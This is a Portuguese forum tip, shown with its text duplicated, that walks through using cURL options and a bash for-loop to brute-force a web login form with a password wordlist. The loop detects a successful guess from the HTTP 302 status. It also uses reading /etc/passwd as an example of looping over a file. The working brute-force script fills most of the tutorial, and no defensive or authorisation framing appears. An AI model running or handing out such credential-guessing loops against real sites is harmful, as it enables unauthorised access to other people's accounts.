cURL - Brute-force em aplicações Web
Dica publicada em Shell Script / Miscelânea
cURL - Brute-force em aplicações Web
Estava pesquisando sobre o cURL, e tive a ideia de fazer um brute-force em shell script, mas como eu já fiz isso, resolvi somente testar os comandos.
Primeiro, iremos ver algumas opções de linha de comando do cURL:
curl -h
Entendo as opções:
1. As opções "-s" e "-o" são para não exibirem o conteúdo HTML do request; iremos mandar essa saída de comando para o /dev/null.
2. O comando "-F" funciona para enviar os parâmetros através de "POST request".
Exemplo:
curl -F teste=enviando-post localhost/teste.php
3. E por último, a opção "-w", usaremos essa opção para descobrir o status code do request, levando em consideração que a maioria dos sistemas de login, quando se faz o login corretamente, redirecionam para outra página (302).
Exemplo:
curl -w "%{http_code}" localhost/lol
No final da saída do comando, obtemos o número 404 (Not Found).
Exemplo: login, password, log, passwd, user, etc.
Tendo essas informações, iremos transformar a saída do comando em uma variável.
Exemplo:
curl -s -o /dev/null -F login=mmxm -F pass=123456 -w "%{http_code}" localhost/login.php
A saída do comando foi 302 (redirecionamento), iremos guardar esse saída na variável "login":
login=$(curl -s -o /dev/null -F login=mmxm -F pass=123456 -w "%{http_code}" localhost/login.php)
Agora, para proceder com o ataque de "word list" iremos usar o "for" para ler um arquivo linha por linha.
Exemplo:
for i in `cat /etc/passwd`;do echo $i; done
Nosso comando final ficará assim:
Espero que tenham gostado da dica.
[]'s
Dica também publicada em:
Primeiro, iremos ver algumas opções de linha de comando do cURL:
curl -h
Usage: curl [options...] <url> -F/--form <name=content> Specify HTTP multipart POST data (H) -o/--output <file> Write output to <file> instead of stdout -s/--silent Silent mode. Don't output anything -w/--write-out <format> What to output after completionRessaltei essas funções, pois serão necessárias para o ataque de brute-force.
Entendo as opções:
1. As opções "-s" e "-o" são para não exibirem o conteúdo HTML do request; iremos mandar essa saída de comando para o /dev/null.
2. O comando "-F" funciona para enviar os parâmetros através de "POST request".
Exemplo:
curl -F teste=enviando-post localhost/teste.php

Exemplo:
curl -w "%{http_code}" localhost/lol
No final da saída do comando, obtemos o número 404 (Not Found).
Fazendo o ataque
Agora iremos proceder para o ataque de brute-force. Primeiro, temos que saber quais os nomes dos campos que iremos enviar pelo POST request.Exemplo: login, password, log, passwd, user, etc.
Tendo essas informações, iremos transformar a saída do comando em uma variável.
Exemplo:
curl -s -o /dev/null -F login=mmxm -F pass=123456 -w "%{http_code}" localhost/login.php
A saída do comando foi 302 (redirecionamento), iremos guardar esse saída na variável "login":
login=$(curl -s -o /dev/null -F login=mmxm -F pass=123456 -w "%{http_code}" localhost/login.php)
Agora, para proceder com o ataque de "word list" iremos usar o "for" para ler um arquivo linha por linha.
Exemplo:
for i in `cat /etc/passwd`;do echo $i; done
Nosso comando final ficará assim:
for i in `cat wordlist.txt`
do
login=$(curl -s -o /dev/null -F login=mmxm -F pass=$i -w "%{http_code}" localhost/login.php)
if [ $login '==' "302" ]
then
echo "Password: $i"
break
else
echo "Trying: $i"
fi
done
Pronto, você já estará fazendo um ataque de brute-force através de uma "word list", usando o terminal.
Espero que tenham gostado da dica.
[]'s
Dica também publicada em: